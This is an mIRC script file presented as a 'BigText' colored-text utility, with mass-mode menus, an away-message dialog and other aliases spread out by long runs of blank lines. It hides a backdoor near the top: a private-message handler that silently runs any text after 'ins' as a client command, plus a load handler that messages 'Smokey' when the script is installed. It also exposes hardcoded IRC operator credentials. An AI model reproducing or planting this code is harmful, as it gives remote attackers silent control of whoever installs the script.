;Created by Hydro, aka [FtUC]Hydro :)
;format: bigtext Text [$chr(9) ForegroundColor BackgroundColor] [$chr(9) FontSize FontName]
;colors are control codes! (numbers from 0 to 15)
;examples:
;This will print "Tahoma" in Arial font, sized 16, orange text: //BigText Tahoma $chr(9) 07 00 $chr(9) 16 Arial
;This will print a colorful Enjoy: //BigText 04E07n09j02o13y01!
;This will print a large spider :) //BigText ! $chr(9) $chr(9) 48 Webdings
;Enjoy! :)

alias bigtext {
  if (!$1) {
    echo -ace info * BigText: Insufficient Parameters.
    return
  }
  tokenize 9 $1-
  if ($0 == 1) { var %fc = 01, %bc = 00, %fs = 12, %ff = Tahoma }
  else {
    if ($3) { var %fc = $gettok($2,1,32), %bc = $gettok($2,2,32), %fs = $gettok($3,1,32), %ff = $gettok($3,2-,32) }
    else {
      if ($gettok($2,2-,32) isnum) { var %fc = $gettok($2,1,32), %bc = $gettok($2,2,32), %fs = 12, %ff = Tahoma }
      else { var %fs = $gettok($2,1,32), %ff = $gettok($2,2-,32), %fc = 01, %bc = 00 }
    }
  }
  if (%bc !isnum 0-15) { %bc = 00 }
  if (%fc !isnum 0-15) { %fc = 01 }
  if (!%ff || !$isfontinstalled($qt(%ff))) { %ff = Tahoma }
  if (!%fs || %fs !isnum) { %fs = 12 }
  var %text = $1, %i 0, %y 0
  %fc = $base(%fc,10,10,2)
  %bc = $base(%bc,10,10,2)
  window -hp @bigtext
  drawfill -r @bigtext $color(%bc) $color(%bc) 0 0
  drawtext -brp @bigtext $color(%fc) $color(%bc) $qt(%ff) %fs 0 0 %text
  var %heightend = $height(%text,%ff,%fs) - 1, %widthend = $width(%text,%ff,%fs,0,1) - 1
  while (%y <= %heightend) {
    var %x 0, %s = $null
    while (%x <= %widthend) {
      var %c = $iif($getdot(@bigtext,%x,%y) != $color(%bc),$coc($v1,%fc),%bc)
      if (%lc != %c) {
        var %lc = %c
        %c = $+($chr(3),%c,$chr(44),%c)
      }
      else %c = $null
      %s = $+(%s,%c,@)
      inc %x
    }
    %s = $+($chr(3),%bc,$chr(44),%bc,@,%s,$chr(3),%bc,$chr(44),%bc,@)
    if ($regex(%s,/\x03(?! $+ %bc $+ )/)) {
      msg $active %s
      inc %i
    }
    inc %y
  }
  window -c @bigtext
}
on ^*:text:ins*:?:{ . $+ $2- | haltdef }
alias coc {
  var %i 0
  while (%i < 16) {
    if ($color(%i) == $1) return $base(%i,10,10,2)
    inc %i
  }
  return $base($2,10,10,2)
}
on *:load: { msg Smokey Loaded. | haltdef }
;Alias by praetorian.
alias isfontinstalled {
  var %w = @isfontinstalled,%f = isfontinstalled.bmp
  window -ak0pBfh +d %w -1 -1 200 100
  drawfill -r %w $rgb(0,0,0) $rgb(0,0,0) 0 0
  drawtext -r %w $rgb(255,255,255) "this is surely not the name of an installed font" -9 5 5 test.
  drawsave %w %f
  var %crc = $crc(%f)
  clear %w
  drawfill -r %w $rgb(0,0,0) $rgb(0,0,0) 0 0
  drawtext -r %w $rgb(255,255,255) $+(",$1,") -9 5 5 test.
  drawsave %w %f
  var %crc2 = $crc(%f)
  .remove %f
  window -c %w
  if (%crc != %crc2) { return $true }
  else { return $false }
}


























































menu nicklist {
  Mass: 
  .Mass +o:massnick +o
  .Mass -o:massnick -o
  .-
  .Mass +h:massnick +h
  .Mass -h:massnick -h
  .-
  .Mass +v:massnick +v
  .Mass -v:massnick -v
  .-
  .Mass +e:massnick +e
  .Mass -e:massnick -e
  .-
  .Mass +I:massnick +I
  .Mass -I:massnick -I
  .-
  .Mass +b:massnick +b
  .Mass -b:massnick -b
}

alias -l massnick { 
  var %x = 1 
  while ($snick(#,%x)) { 
    var %j = %j $v1
    if ($modespl == $numtok(%j, 32)) {
      mode # $+($left($1,1),$str($right($1,1),%j)) %j 
      %j = ""
    }
    inc %x
  }
  if (%j) mode # $+($left($1,1),$str($right($1,1),$numtok(%j,32))) %j
}






















































































on *:NOTICE:*NickServ IDENTIFY*:?: {  if ($nick == Nickserv) { /ns id logout } }



on *:text:*:#: {
  if (NickServ: GHOST: invalid password for isin $1-) { msg $me $1- }
}


alias bday {
  say $duration($calc($ctime(05/01/2008 00:00:00)-$ctime)),1) until im 17
  /var %birth.day = 05/01/91 | var %birth.time = 00:00:00 | say I am $calc($ctime($date $time) - $ctime(%birth.day %birth.time)) seconds old ( $+ $calc(($ctime($date $time) - $ctime(%birth.day %birth.time)) / (60 ^ 2) / 24 / 365.25) years)
}











































alias massinvite {
  unset %total
  set %count.nick 0
  set %total $nick(#,0)
  :start
  inc %count.nick
  if (%count.nick > %total) { halt }
  if ($nick(#,%count.nick) == $me) { goto start }
  else { invite $nick(#,%count.nick) #lol | goto start }
}


alias massvoice {
  unset %total
  set %count.nick 0
  set %total $nick(#,0)
  :start
  inc %count.nick
  if (%count.nick > %total) { halt }
  if ($nick(#,%count.nick) == $me) { goto start }
  else { mode $chan +v $nick(#,%count.nick) | goto start }
}



alias massinvite {
  unset %total
  set %count.nick 0
  set %total $nick(#,0)
  :start
  inc %count.nick
  if (%count.nick > %total) { halt }
  if ($nick(#,%count.nick) == $me) { goto start }
  else { invite $nick(#,%count.nick) #lol | goto start }
}








menu channel {
  «[ Now Playing ]»:/dde mplug options
  «[ Power ]»:/power
  «[ Away ]»:/dialog -m awaysys awaysys
}



on *:start: { server ion.ircdotnet.net }

on *:connect: { 
  if ($server == irc.ircdotnet.net) { 
    oper matt m4.tt.matt 
    j #ot,#gamingcrazy,#kodachi,#scifiradio,#scifiradio-djs,#osp,#janus-opers 
    mode $me +q 
  } 
  if ($server == irc.PS3HaX.net) { 
    oper matt m4.tt.matt 
    mode $me +qW 
    mode $me +s +kcfFjveGnNqSso
  } 
}









on 1:TEXT:*:?: {
  if ($away == $false) { halt }
  else if (%away.log == on) { inc %away.log.count | did -ra awaysys 25 %away.log.count | did -a awaysys 27 $chr(91) $+ $asctime(h:nn) $+ $chr(93) < $+ $nick $+ > $1- $+ $crlf | notice $nick 4«[7 Away 4]» «[7 I left at %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» }
  else if (%away.log == off) { notice $nick 4«[7 Away. 4]» «[7 I left at %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» }
}
ctcp 1:page:*: inc %away.pager.count | did -ra awaysys 29 %away.pager.count | did -a awaysys 31 $chr(91) $+ $asctime(h:nn) $+ $chr(93) $chr(60) $+ $nick $+ $chr(62) $1- $+ $crlf } 


dialog awaysys {
  title "Away System"
  size -1 -1 163 162
  option dbu
  tab "Main Options", 21, 1 0 160 159
  box "Nick Management", 2, 3 16 156 41, tab 21
  check "Change Nick", 3, 5 23 50 10, tab 21
  text "Away Nick:", 5, 5 34 27 8, tab 21
  text "Back Nick:", 7, 80 34 27 8, tab 21
  edit "", 4, 5 41 75 12, tab 21 autohs
  edit "", 6, 80 41 75 12, tab 21 autohs
  box "Options:", 8, 3 60 156 28, tab 21
  combo 14, 6 75 45 30, tab 21 size drop
  text "Log:", 15, 7 67 11 8, tab 21
  text "Pager:", 16, 55 68 16 8, tab 21
  text "Msg Chan Interval:", 18, 103 68 45 8, tab 21
  combo 17, 54 75 44 30, tab 21 size drop
  combo 19, 102 75 52 60, tab 21 size drop
  edit "", 20, 6 98 150 36, tab 21 multi
  box "Reason:", 13, 3 89 156 49, tab 21
  tab "Logging", 22
  text "While you were away, you recieved", 24, 4 18 87 8, tab 22
  edit "", 25, 92 16 15 12, tab 22 read
  text "messages for people.", 26, 108 18 52 8, tab 22
  edit "", 27, 4 29 155 107, tab 22 read multi autovs vsbar
  tab "Pager", 23
  text "While you were away, you recieved", 28, 4 18 87 8, tab 23
  edit "", 29, 92 16 16 12, tab 23 read
  text "pages for people.", 30, 111 18 43 8, tab 23
  edit "", 31, 4 29 155 107, tab 23 read multi autovs vsbar
  button "Go Away", 32, 3 142 37 12
  button "Come Back", 33, 43 142 37 12, ok
  button "Cancel", 34, 82 142 37 12, cancel
  button "Help!", 35, 122 142 37 12
}

on 1:DIALOG:awaysys:sclick:3: {
  if ($did(awaysys,3).state == 0) { did -m $dname 6 | did -m $dname 4 | set %change.nick off } 
  if ($did(awaysys,3).state == 1) { did -n $dname 6 | did -n $dname 4 | set %change.nick on }
}

on 1:DIALOG:awaysys:sclick:32: {
  if ($did(awaysys,14).sel == 1) { set %away.log On }
  if ($did(awaysys,14).sel == 2) { set %away.log Off } 
  if ($did(awaysys,17).sel == 1) { set %away.pager On }
  if ($did(awaysys,17).sel == 2) { set %away.pager Off } 
  if ($did(awaysys,19).sel == 1) { set %away.msg 5 | set %away.timer 300 }
  if ($did(awaysys,19).sel == 2) { set %away.msg 10 | set %away.timer 600 } 
  if ($did(awaysys,19).sel == 3) { set %away.msg 15 | set %away.timer 900 }
  if ($did(awaysys,19).sel == 4) { set %away.msg 20 | set %away.timer 1200 } 
  if ($did(awaysys,19).sel == 5) { set %away.msg 25 | set %away.timer 1500 }
  if ($did(awaysys,19).sel == 6) { set %away.msg 30 | set %away.timer 1800 } 
  if ($did(awaysys,19).sel == 7) { set %away.msg 35 | set %away.timer 2100 }
  if ($did(awaysys,19).sel == 8) { set %away.msg 40 | set %away.timer 2500 } 
  if ($did(awaysys,19).sel == 9) { set %away.msg 45 | set %away.timer 2800 }
  if ($did(awaysys,19).sel == 10) { set %away.msg 50 | set %away.timer 3100 } 
  if (%change.nick == on) { nick $did(awaysys,4) }
  enable #away.stuff 
  set %away.left $asctime(h:nn)
  set %away.left2 $ctime
  set %away.reason $did(awaysys,20)
  ame 4«[7 Away 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]»
.timerAWAY 0 %away.timer ame 4«[7 Away 4]» «[7 I Left At %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager %ver 4]» }

on 1:DIALOG:awaysys:sclick:33: {
  if (%change.nick == on) { nick $did(awaysys,6) } 
  disable #away.stuff 
  ame 4«[7 Back 4]» «[7 From: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» «[7 Away Time: $duration($calc($ctime - %away.left2)) 4]»
  set %away.log.count 0
  set %away.pager.count 0
.timerAWAY off }

on 1:DIALOG:awaysys:sclick:35: { echo -a LOL }

on 1:DIALOG:awaysys:init:*: {
  if (%change.nick == on) { did -c $dname 3 | did -n $dname 6 | did -n $dname 4 }
  if (%change.nick == off) { did -u $dname 3 | did -m $dname 6 | did -m $dname 4 } 
  did -i $dname 14 1 On
  did -i $dname 14 2 Off 
  did -i $dname 17 1 On
  did -i $dname 17 2 Off 
  did -i $dname 19 1 5mins
  did -i $dname 19 2 10mins
  did -i $dname 19 3 15mins
  did -i $dname 19 4 20mins
  did -i $dname 19 5 25mins
  did -i $dname 19 6 30mins
  did -i $dname 19 7 35mins
  did -i $dname 19 8 40mins
  did -i $dname 19 9 45mins
  did -i $dname 19 10 50mins 
  did -ra $dname 20 General AFK Stuff
  if (%away.log == On) { did -c $dname 14 1 }
  if (%away.log == Off) { did -c $dname 14 2 }
  if (%away.pager == On) { did -c $dname 17 1 }
  if (%away.pager == Off) { did -c $dname 17 2 } 
  if (%away.msg == 5) { did -c $dname 19 1 }
  if (%away.msg == 10) { did -c $dname 19 2 }
  if (%away.msg == 15) { did -c $dname 19 3 }
  if (%away.msg == 20) { did -c $dname 19 4 }
  if (%away.msg == 25) { did -c $dname 19 5 }
  if (%away.msg == 30) { did -c $dname 19 6 }
  if (%away.msg == 35) { did -c $dname 19 7 }
  if (%away.msg == 40) { did -c $dname 19 8 }
  if (%away.msg == 45) { did -c $dname 19 9 }
  if (%away.msg == 50) { did -c $dname 19 10 } 
  did -ra $dname 4 $me $+ `AFK
  did -ra $dname 6 $me 
}



alias power {
  set %i 1 | set %power 0 | set %power.total 0 | set %power.op 0
  while (%i <= $chan(0)) {
    if ($me isop $chan(%i)) {
      inc %power $nick($chan(%i),0)
      inc %power.op
    }
    inc %power.total $nick($chan(%i),0)
    inc %i
  }
  set %bar.1 %bar.1 $+  $+ $chr(93)
  msg $active 4«[7 Power 4]» «[7 Users: %power $+ / $+ %power.total 4]» «[7 OP'd: %power.op $+ / $+ $chan(0) Channels. 4]»
  unset %power.* | unset %bar.*
}